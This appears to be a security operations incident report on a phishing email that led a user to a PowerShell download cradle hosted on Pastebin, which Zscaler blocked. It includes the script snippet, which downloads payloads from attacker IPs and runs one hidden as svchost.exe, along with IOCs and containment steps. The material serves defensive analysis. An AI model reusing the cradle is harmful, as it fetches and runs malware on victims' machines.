Zscaler Alert Details
Alert ID: ZSCALER-STAGE-CAP-7842
Alert Time: 2024-02-11 09:45:18 EST
Severity: HIGH (78/100)
Source: Zscaler Internet Access (ZIA)
Rule: “Suspicious File Download – Potential Payload Staging”
MITRE ATT&CK: T1608 – Stage Capabilities
Alert Details:
Transaction Details:
– User: jdoe@company.com (John Doe, Marketing)
– Device: MKT-WS-023 (Windows 11)
– Time: 09:42 EST
– Action: BLOCKED (Advanced Threat Protection)
URL: hxxps://cdn.pastebin[.]com/raw/AbCdEfGh
File Name: update_installer.ps1
File Type: PowerShell Script
File Size: 24 KB
Threat Analysis:
– Zscaler Sandbox: MALICIOUS (confidence 92%)
– Threat Name: “PowerShell_Download_Cradle”
– Behavior: Script downloads additional payload from multiple URLs
– URLs Embedded:
– hxxp://185.143.221[.]45/beacon.dll
– hxxps://storage.googleapis.com/company-updates/msupdate.exe (Google Storage abuse)
– hxxp://194.165.16[.]89/loader.bin
Script Analysis Snippet:
$urls = @( “http://185.143.221[.]45/beacon.dll“, “https://storage.googleapis.com/company-updates/msupdate.exe“, “http://194.165.16[.]89/loader.bin” ) $path = “$env:TEMP\svchost.exe” foreach ($u in $urls) { try { Invoke-WebRequest -Uri $u -OutFile $path if ((Get-FileHash $path).Hash -eq “a1b2c3d4e5f6…”) { Start-Process $path -WindowStyle Hidden break } } catch {} }
Additional Context:
– User accessed pastebin.com via corporate network
– Domain pastebin.com categorized as “Information Technology” (allowed)
– Specific raw URL not previously known; first request
– Download blocked before reaching endpoint
SOC Investigation Process
| Step | Action | Tools Used | Findings |
|---|---|---|---|
| 1. Alert Validation | Verify Zscaler sandbox analysis | Zscaler Admin Console | Confirmed malicious PowerShell download cradle |
| 2. Endpoint Check | Verify if any part of script executed | CrowdStrike Falcon | No evidence of execution; block was successful |
| 3. User Interview | Contact user about pastebin access | Teams, Phone | User clicked link in phishing email; reported suspicious email |
| 4. Email Investigation | Find source of link | Proofpoint, M365 Defender | Email from “security@update-company[.]net” with link |
| 5. Infrastructure Blocking | Block all associated IOCs | Zscaler, Palo Alto, Cisco Umbrella | Added URLs/IPs to blocklists |
| 6. Threat Hunting | Search for similar download attempts | Splunk, Zscaler Logs | No other users accessed same URL |
Jira Incident Report
Ticket: SOC-2024-056
Summary: T1608 – PowerShell Download Cradle Blocked During Staging Phase
Status: RESOLVED
Resolution: MALICIOUS – Payload Blocked
Priority: P2 – MEDIUM
Labels: T1608, stage-capabilities, powershell, download-cradle, zscaler
Components: Web-Security, Endpoint-Security
INCIDENT ANALYSIS REPORT
1. Initial Context:
- Detection Source: Zscaler Internet Access (ZIA) Advanced Threat Protection.
- Alert: “Suspicious File Download – Potential Payload Staging”.
- User: jdoe@company.com (Marketing Department).
- Time: 2024-02-11 09:45 EST.
- Technique: MITRE ATT&CK T1608 – Stage Capabilities.
2. Technical Analysis:
- Staging Activity:
- URL: hxxps://cdn.pastebin[.]com/raw/AbCdEfGh
- File: update_installer.ps1 (PowerShell download cradle)
- Action: BLOCKED by Zscaler before reaching endpoint
- User Action: Clicked link in phishing email
- Payload Details:
- Script designed to download and execute additional malware
- Embedded URLs:
- hxxp://185.143.221[.]45/beacon.dll (Cobalt Strike)
- hxxps://storage.googleapis.com/company-updates/msupdate.exe (Google Storage abused)
- hxxp://194.165.16[.]89/loader.bin (Unknown loader)
- Hash validation to ensure correct payload
- Executes from temp folder masquerading as svchost.exe
- Infrastructure Analysis:
- IP 185.143.221[.]45: Bulgaria VPS, known for Cobalt Strike C2
- IP 194.165.16[.]89: Romania VPS, associated with TA577
- Google Storage bucket: storage.googleapis.com/company-updates/ (abused)
- Email Source:
- Phishing email from security@update-company[.]net
- Subject: “Critical Security Update Required”
- Link to pastebin URL
- Email quarantined by Proofpoint after user reported
3. Investigation Findings:
- Timeline:
09:40 – User receives phishing email
09:41 – User clicks link to pastebin
09:42 – Zscaler blocks PowerShell script download
09:45 – Zscaler alert generated
09:47 – SOC begins investigation
09:50 – User interviewed; confirms suspicious email
09:55 – Email quarantined; IOCs blocked
- Indicators of Compromise (IoCs):
URLs:
– hxxps://cdn.pastebin[.]com/raw/AbCdEfGh
– hxxp://185.143.221[.]45/beacon.dll
– hxxps://storage.googleapis.com/company-updates/msupdate.exe
– hxxp://194.165.16[.]89/loader.bin
IPs:
– 185.143.221[.]45
– 194.165.16[.]89
Email:
– sender: security@update-company[.]net
– subject: “Critical Security Update Required”
4. Containment Actions:
- Immediate Actions:
- All IOCs added to Zscaler, Palo Alto, and Cisco Umbrella blocklists.
- Email quarantined and purged from all mailboxes.
- User’s workstation scanned (no compromise).
- User Education:
- User commended for reporting suspicious email.
- Reinforced training on link verification.
5. Root Cause Analysis:
- Primary Cause: Phishing email luring user to download staged payload.
- Contributing Factors: Pastebin allowed content; user clicked link.
6. Business Impact: None – payload blocked before execution.
7. Remediation & Prevention:
Completed Actions:
IOCs blocked.
User educated.
Enhanced Zscaler policy to block pastebin raw URLs.
8. Conclusion:
Attackers staged a PowerShell download cradle on pastebin and attempted to lure a user via phishing. Zscaler blocked the download, preventing payload retrieval. No compromise occurred.
Closure Rationale: Payload blocked; user safe; IOCs added to blocklists.
Analyst: [Walter White], SOC Analyst
Date: 2024-02-11 10:30 EST